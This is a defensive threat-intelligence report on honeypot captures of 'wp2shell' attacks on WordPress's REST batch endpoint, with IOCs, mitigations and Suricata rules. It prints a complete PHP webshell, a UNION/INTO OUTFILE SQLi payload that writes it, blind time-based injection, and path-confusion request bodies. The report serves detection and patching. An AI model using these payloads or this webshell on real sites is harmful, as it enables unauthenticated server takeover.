TLP:CLEAR

wp2shell — WordPress batch-endpoint exploitation

Reachability scanners, auth-bypass path fuzzing, and a live UNION-based SQLi-to-webshell drop against WordPress core's REST batch endpoint (CVE-2026-63030 + CVE-2026-60137)

Published 2026-08-10 Source Distributed SSH/Telnet Honeypot Fleet Confidence HIGH Classification Web Application Exploitation / SQLi-to-Webshell

Last updated 2026-08-10.

Executive summary

Most of what hits a freshly-disclosed WordPress vulnerability is noise: automated scanners checking whether an endpoint exists at all. One actor in our corpus went past that stage entirely. It landed a blind SQL injection through the endpoint and used it to write a working, secret-gated PHP webshell straight to the target's webroot, brute-forcing both the SQL column count and the webroot path along the way.

Key Finding
Since our distributed honeypot fleet's WordPress bait (fingerprinting as WordPress core 7.0.1) started drawing traffic to it on 2026-07-25, it has recorded 402 requests from 42 distinct source IPs against 29 sensors targeting the REST API batch-processor endpoint (/wp-json/batch/v1), the route at the center of CVE-2026-63030 (batch-processor validation/dispatch path confusion) and, chained with CVE-2026-60137 (a WP_Query SQL injection), the unauthenticated pre-auth RCE chain researchers named "wp2shell". Both CVEs were disclosed 2026-07-17 and added to CISA's Known Exploited Vulnerabilities catalog on 2026-07-21. Of those 42 source IPs, exactly one, 94.154.172.142, went all the way: on 2026-08-10 it hit six separate sensors with a UNION-based SQL injection through author_exclude that terminated in INTO OUTFILE, writing a minimal PHP webshell, gated behind a secret query parameter and executing arbitrary shell commands via system(base64_decode(...)), while brute-forcing six different common webroot paths in the same burst.

The traffic splits into three tiers by intent, roughly evenly between the first two: 193 requests (48%) are pure reachability probes with an empty payload, systematically fuzzing routing and encoding variants to see if the endpoint exists under a given WAF configuration; 184 requests (46%) are populated but non-SQL structural probes, including the batch-processor path-confusion primitive itself; and 25 requests (6%), from only 7 of the 42 source IPs, are active SQL injection attempts, ranging from a boolean sanity check, through a UNION-based response marker, to blind time-based table enumeration, up to the full webshell drop described above. Full-chain weaponized exploitation is rare in this corpus, one actor out of 42, but real, live, and ongoing.

402
Batch-Endpoint Hits (16d)
42
Distinct Source IPs
29
Sensors Hit
25
SQLi Attempts
7
SQLi-Capable Source IPs
1
Actor Reached Webshell
6
Webroot Paths Brute-Forced

Threat actor profile

This is scanner/exploit traffic, not a single coherent operator. The corpus shows several distinct clusters operating independently, at different sophistication tiers, likely unaware of each other.

ClusterBehaviorSophisticationConfidence
94.154.172.142 Full-chain weaponized exploitation: UNION-based blind/marker SQLi through author_exclude, escalating to INTO OUTFILE webshell writes across 6 brute-forced webroot paths. Hit 6 sensors over roughly 5 hours in a single day. HIGH — automated, methodical column-count and path brute-forcing, not manual point-and-shoot HIGH
45.148.10.0/24 (8 IPs: .12, .18, .42, .60, .64, .75, .244, .246) By far the highest-volume cluster in the corpus: 184 requests against 5 sensors between 2026-07-29 and 2026-08-10. Mostly systematic WAF-bypass path/encoding fuzzing (case-flipping, URL-encoding, index.php prefix) against one sensor per burst, largely empty-body reachability checks. One IP in this range (.75, 53 requests against 3 sensors) separately ran blind time-based SQLi via SLEEP() to enumerate table names, a different technique from the webshell actor, suggesting shared infrastructure rather than a shared tool. MED — thorough, sustained fuzzing across two weeks, but the SQLi component observed here never progressed past table-name enumeration HIGH
195.178.110.0/24 (2 IPs: .247, .48) Broad, low-intensity horizontal scanning: 20 requests spread across 14 distinct sensors between 2026-08-07 and 2026-08-10, close to one hit per sensor, consistent with Internet-wide reachability sweeps rather than sensor-specific targeting. LOW — single-shot reconnaissance, no follow-through observed HIGH
162.128.185.98 Single well-engineered UNION-confirmation probe: types every column correctly for the target query (post-status/post-type strings, filler datetime literals) and writes a ||OK|| marker via CONCAT()/HEX() rather than attempting a direct write. Reads as a verification step, likely from an automated scanner template rather than a human operator. MED — correct column typing shows real understanding of the target schema, but only one shot was observed MED — single data point
4 unrelated single-shot probes (157.66.56.90, 185.242.3.87, 74.208.87.83, 93.152.221.226) Each sent exactly one SQL-bearing request against one sensor between 2026-07-26 and 2026-07-30, then never returned. Four different ASNs, no shared infrastructure with any cluster above or each other. LOW — no escalation, no repeat contact MED — one data point each
Attribution
No named threat actor or public campaign write-up was found matching any of these clusters' infrastructure or tooling. The consistent naming inside the webshell payload itself (wp2shellOKMARKER, the gate parameter okwp2s, and the success marker WP2S_ALIVE) directly echoes the "wp2shell" name the security research community gave this CVE chain, which suggests either direct reuse of a published proof-of-concept, or an actor deliberately branding their tool to match. We could not determine which.

Infrastructure analysis

Attacker ────────── POST /wp-json/batch/v1 (or ?rest_route= fallback)
body: {"requests":[{"path":"///"}, ...]} (CVE-2026-63030 — validation/dispatch path confusion)
sub-request routed to /wp/v2/posts with an author_exclude parameter
author_exclude: 0) UNION SELECT ... INTO OUTFILE <webroot>/w2st.php (CVE-2026-60137 — WP_Query SQLi)
brute-forces UNION column count (8–32 columns tried) and webroot path (6 paths tried)
target ← webshell payload written, gated behind ?p=okwp2s
targetsystem(base64_decode($_GET/$_POST['c'])) (pending attacker follow-up, not observed)
SourceASN / OrgRegistrationHosting TypeNotes
94.154.172.142 AS209101 "IP Vendetta Inc." Seychelles (RIPE handle IVIA1, abuse contact abuse@ipvendetta.com) Datacenter (spur.us) Offshore-registered hosting; no VPN/proxy/tunnel flags, so this is a rented server rather than an anonymization service. Coincidentally shares a /16 with the previously-profiled StormCloud Bulletproof Hosting block (94.154.43.0/24), but resolves to a different ASN (AS209101 vs. StormCloud's AS219502): not the same provider, address proximity only.
45.148.10.0/24 AS48090 "TECHOFF SRV LIMITED" London, UK registrant address; netname country code AD (Andorra); abuse contact is a bare Gmail address (dmzhostabuse@gmail.com) Datacenter (spur.us, no org/infra data returned) Jurisdiction mismatch between registrant address and netname country, plus an informal free-mail abuse contact for an entity styled as a limited company: a pattern consistent with a bulletproof-hosting reseller rather than a conventional cloud provider.
195.178.110.0/24 AS48090 "TECHOFF SRV LIMITED" Same as above Datacenter Same ASN as the 45.148.10.0/24 cluster despite a completely different /24 and a visibly different scanning behavior (broad low-intensity vs. targeted WAF-bypass fuzzing): one provider hosting at least two independently-operated scanning workloads.
162.128.185.98 Not individually profiled — single low-volume hit Insufficient data for infrastructure attribution from one request.

Payload analysis

What This Confirms — And What It Doesn't
Our WordPress bait fingerprints as WordPress core 7.0.1 and logs whatever an attacker sends, but it does not run a real WordPress install, MySQL, or PHP. It cannot execute the SQL statements below or actually write a file. Everything in this section is the attacker's request as captured, evidence of technique and intent, not confirmation that the write succeeded against our sensor. CISA's Known Exploited Vulnerabilities listing and multiple independent security vendors have separately confirmed this exact CVE chain is being exploited successfully against real, vulnerable WordPress installations in the wild; see the CVE links in the Executive Summary.

The webshell payload

The 94.154.172.142 UNION payload decodes to a minimal PHP webshell, gated behind a secret query parameter so a casual visitor or scanner hitting the dropped file directly won't trigger it:

<?php
if (isset($_GET['p']) && $_GET['p'] === 'okwp2s') {
    if (isset($_GET['c'])) {
        system(base64_decode($_GET['c']));
    } elseif (isset($_POST['c'])) {
        system(base64_decode($_POST['c']));
    }
    echo WP2S_ALIVE;
}
?>

Gate parameter p=okwp2s, command parameter c (base64-encoded, accepted via GET or POST), success marker WP2S_ALIVE echoed on a valid gated request regardless of whether c was supplied. That lets the operator confirm the drop landed before sending a real command.

Delivery: UNION column-count and webroot-path brute-forcing

The same actor tried six different INTO OUTFILE destinations, all writing the identical filename w2st.php, across six requests roughly 24 seconds apart: a systematic sweep of common webroot locations rather than a single targeted guess.

Attempt (UTC, 2026-08-10)Target pathUNION columns
05:19:43/var/www/w2st.php9 (5 trailing NULLs)
05:19:44/var/www/w2st.php10 (6 trailing NULLs)
05:19:59/usr/share/nginx/html/w2st.php14 (10 trailing NULLs)
05:20:03/srv/www/w2st.php12 (8 trailing NULLs)
05:20:08/home/web/public_html/w2st.php14 (10 trailing NULLs)
09:41:56 / 09:45:00 / 09:45:39/var/www/html/w2st.php, then /var/www/html/wp-content/uploads/w2st.php (×2, via two different URL-routing variants)13 / 11 / 15

The varying trailing-NULL counts across attempts show the actor also brute-forcing the correct UNION column count for the target wp_posts-shaped query alongside the path: two unknowns solved simultaneously by an automated tool, not a single hand-crafted request.

The marker-only variant

Earlier the same day, before the full webshell attempt, the same actor sent a lighter-weight probe writing only a detection string, wp2shellOKMARKER, in place of the webshell body, apparently confirming write capability before committing to the full payload:

0) UNION SELECT 99999999,0,0,0,0,0x7770327368656c6c4f4b4d41524b4552,0,0,0x7075626c697368,0 -- -

The same marker-only technique, with a different column count (32 columns, marker at position 17), was sent to a different sensor via a different REST route (/wp/v2/categories instead of /wp/v2/posts) roughly two hours later, confirming the tooling isn't hardcoded to a single endpoint shape.

Observed TTPs — MITRE ATT&CK

Active Scanning: Vulnerability Scanning
193 empty-body reachability probes fuzzing routing/encoding variants of the batch endpoint
Exploit Public-Facing Application
CVE-2026-63030 batch-endpoint auth bypass chained with CVE-2026-60137 SQL injection
Obfuscated Files or Information: Command Obfuscation
Webshell PHP source and target file paths hex-encoded inline in the SQL payload
Server Software Component: Web Shell
SQLi-delivered PHP webshell, gated behind a secret query parameter
Command and Scripting Interpreter
Webshell's system(base64_decode(...)) call provides arbitrary OS command execution once triggered

Activity timeline

2026-07-17
CVE-2026-63030 (batch-endpoint validation/dispatch confusion) and CVE-2026-60137 (WP_Query SQLi) publicly disclosed.
2026-07-18
Our fleet's WordPress bait deployed, fingerprinting as WordPress core 7.0.1 on the vulnerable batch-endpoint route among others.
2026-07-21
Both CVEs added to CISA's Known Exploited Vulnerabilities catalog, confirming active in-the-wild exploitation.
2026-07-25
First traffic against our WordPress bait's batch-endpoint route since the bait was deployed a week earlier: reachability probing begins.
2026-07-26 to 2026-07-30
Four unrelated single-shot SQL injection probes, one request each, from four different ASNs with no shared infrastructure. None escalate or return.
2026-07-29 onward
Reachability scanning and WAF-bypass path fuzzing from the 45.148.10.0/24 cluster begins, continuing through 2026-08-10 and eventually accounting for nearly half of all traffic in this corpus (184 of 402 requests); 45.148.10.75's blind time-based table-enumeration SQLi runs 2026-08-02 to 2026-08-05 within that window.
2026-08-07 to 2026-08-10
The 195.178.110.0/24 broad-scan cluster sweeps 14 sensors with 20 requests, roughly one hit per sensor.
2026-08-10 04:44 UTC
94.154.172.142 begins its exploitation sequence against sensor vps-P: a boolean sanity check (0) OR 1=0), then within 4 seconds a UNION-based marker write confirming injection works.
2026-08-10 05:19–05:20 UTC
Same actor hits sensor vps-AI with the full webshell payload, six requests in 24 seconds brute-forcing UNION column count and webroot path together.
2026-08-10 05:36–09:45 UTC
Same actor continues against three more sensors (vps-AG, vps-V, vps-M) with marker-only and boolean probes, then a third full webshell attempt against vps-AL: six sensors total for this actor in one day.
2026-08-10
Separately, 162.128.185.98 sends a single well-typed UNION-confirmation marker probe against sensor vps-R.

Exploit payloads

Tier 1 — reachability probing (empty body)

Fuzzing routing and encoding variants to check the endpoint is reachable under a given WAF/proxy configuration, with no actual exploit content:

GET /wp-json/batch/v1 body={"requests": []}
GET /index.php?rest_route=/batch/v1 body={"requests": []}
GET /?rest_route=%2Fbatch%2Fv1 body={"requests": []}
GET /?rest_route=/batch%2Fv1 body={"requests": []}
GET /wp-json/Batch/v1 body={"requests": []}

Tier 2 — batch-processor path-confusion primitive (CVE-2026-63030)

Three independent encodings of the same underlying validation/dispatch-confusion primitive, seen from three different source IPs — evidence of at least three separate tool implementations, not one shared script:

{"requests":[{"method":"POST","path":"///"}, ...]}          // 100.53.85.177, 162.128.185.98
{"requests":[{"method":"POST","path":"http://:"}, ...]}      // 94.154.172.142, 45.148.10.75
{"requests":[{"method":"POST","path":"http:///x"}, ...]}     // 195.178.110.247

Tier 3a — blind time-based SQLi (table enumeration)

45.148.10.75 extracting information_schema.TABLES character-by-character via a SLEEP()-conditional boolean oracle, filtering for a table matching %_posts:

0) UNION SELECT 1 FROM (SELECT ...) x WHERE
  (ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES
    WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%_posts'
    ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1),2,1))>=55)
  THEN SLEEP(0.35) ELSE 0 END

(Simplified for readability — the captured payload wraps this in the full batch-endpoint author_exclude parameter shape shown below.)

Tier 3b — UNION-based marker confirmation

{"requests":[
  {"method":"POST","path":"http://:"},
  {"method":"POST","path":"/wp/v2/posts","body":{
    "author_exclude":"0) UNION SELECT 99999999,0,0,0,0,0x7770327368656c6c4f4b4d41524b4552,0,0,0x7075626c697368,0 -- -",
    "per_page":400,"orderby":"none"
  }},
  {"method":"POST","path":"/wp/v2/media","body":{"n":0}}
]}

Decodes to wp2shellOKMARKER and publish — a confirmation write before committing to the full webshell.

Tier 3c — full webshell drop

{"requests":[
  {"method":"POST","path":"http://:"},
  {"method":"POST","path":"/wp/v2/posts","body":{
    "author_exclude":"0) UNION SELECT 9999999,0,0,0x3c3f70687020...203f3e,0,0,0,0,0 INTO OUTFILE 0x2f7661722f7777772f773273742e706870 LINES TERMINATED BY 0x0a -- -"
  }},
  {"method":"POST","path":"/wp/v2/media","body":{"n":0}}
]}

The hex blob decodes to the PHP webshell shown in Payload analysis; the INTO OUTFILE target decodes to one of the six webroot paths in that section's table.

Indicators of compromise

Network IOCs

Webshell Actor
94.154.172.142
AS209101 "IP Vendetta Inc.", Seychelles-registered. Full UNION SQLi-to-webshell chain, 6 sensors hit.
WAF-Bypass Fuzzer Cluster
45.148.10.12, .18, .42, .60, .64, .75, .244, .246
AS48090 "TECHOFF SRV LIMITED". Highest-volume cluster: 184 requests / 5 sensors. Path/encoding fuzzing; .75 also ran blind time-based SQLi.
Broad Scanner Cluster
195.178.110.247, 195.178.110.48
AS48090 "TECHOFF SRV LIMITED", same ASN as the fuzzer cluster above, different behavior. 20 requests spread across 14 sensors.
UNION-Confirmation Probe
162.128.185.98
Single well-typed marker-write attempt, no follow-through observed.
Unrelated Single-Shot SQLi Probes
157.66.56.90, 185.242.3.87, 74.208.87.83, 93.152.221.226
One request each, 2026-07-26 to 2026-07-30, four different ASNs, no escalation observed.
Dropped Filename
w2st.php
Identical filename across all 6 brute-forced webroot paths — search for this filename fleet/server-wide.
Webshell Gate Parameter
?p=okwp2s
Required query param to activate the dropped webshell; absent this, the file is inert.
Webshell Success Marker
WP2S_ALIVE
Echoed by the webshell on any correctly-gated request — grep access logs for this string in response bodies.
Vulnerable Route
/wp-json/batch/v1 (and ?rest_route= fallback)
The batch-processor endpoint at the center of CVE-2026-63030.

WordPress-side artifacts

On-Server Artifacts
A file named w2st.php in any web-accessible directory (observed target paths: /var/www/, /var/www/html/, /var/www/html/wp-content/uploads/, /usr/share/nginx/html/, /srv/www/, /home/web/public_html/) not placed by a legitimate deploy — check creation time against your own deploy history.
Requests to ?p=okwp2s in access logs, with or without a c parameter.
WP2S_ALIVE appearing in any response body.
author_exclude or author__not_in REST parameters containing SQL keywords (UNION, SELECT, SLEEP, INTO OUTFILE) in access logs.

Mitigations and detection

ActionPriorityDetail
Patch WordPress core HIGH Upgrade to 6.9.5 or 7.0.2, whichever branch you're on — both CVEs are fixed upstream. This is an unauthenticated, no-special-configuration-required RCE chain; treat as emergency patching.
Search for the dropped webshell HIGH Search the webroot for w2st.php and any file containing the string okwp2s or WP2S_ALIVE. If found, treat the host as compromised — rotate credentials and database access, not just delete the file.
Review REST API access logs MED Look for author_exclude/author__not_in parameters carrying SQL syntax, and for path":"///" / "http://:" / "http:///x" style values inside batch-endpoint request bodies.
Restrict or disable the batch endpoint MED If the batch processor isn't in active use, block /wp-json/batch/v1 and the ?rest_route=/batch/v1 fallback at the reverse proxy/WAF layer as defense-in-depth ahead of patching.

Detection signatures

# Suricata/Snort — batch-endpoint path-confusion primitive (CVE-2026-63030)
alert http any any -> $HOME_NET any (msg:"wp2shell batch-endpoint path-confusion probe"; \
  content:"/batch/v1"; http_uri; \
  content:"path"; http_client_body; pcre:"/\"path\"\s*:\s*\"(\/\/\/|http:\/\/:|http:\/\/\/)/"; \
  flow:established,to_server; sid:9930001; rev:1;)

# Suricata/Snort — author_exclude SQLi through the batch endpoint (CVE-2026-60137)
alert http any any -> $HOME_NET any (msg:"wp2shell author_exclude SQLi attempt"; \
  content:"author_exclude"; http_client_body; nocase; \
  pcre:"/author_exclude.{0,20}(UNION\s+SELECT|SLEEP\(|INTO\s+OUTFILE)/i"; \
  flow:established,to_server; sid:9930002; rev:1;)

# Suricata — dropped webshell gate parameter
alert http any any -> $HOME_NET any (msg:"wp2shell webshell activation attempt"; \
  content:"p=okwp2s"; http_uri; \
  flow:established,to_server; sid:9930003; rev:1;)

Collection methodology

All data in this report was collected organically by a distributed SSH/Telnet honeypot fleet deployed across multiple cloud providers and geographic regions. Fleet nodes run an alternate-protocol lure that fingerprints as a WordPress core installation and captures unauthenticated exploitation attempts against commonly-targeted REST API routes, including the batch-processor endpoint used in this campaign.

The bait logs the full request an attacker sends but does not execute PHP, run a database, or write files — every payload described above is the attacker's captured request, not a confirmed successful compromise of our infrastructure. IP registration and ASN attribution was performed via live RDAP lookups; IP anonymization/infrastructure classification via a commercial IP-intelligence API. All event counts, timestamps, and payload contents in this report were queried directly from the fleet's event store at write time.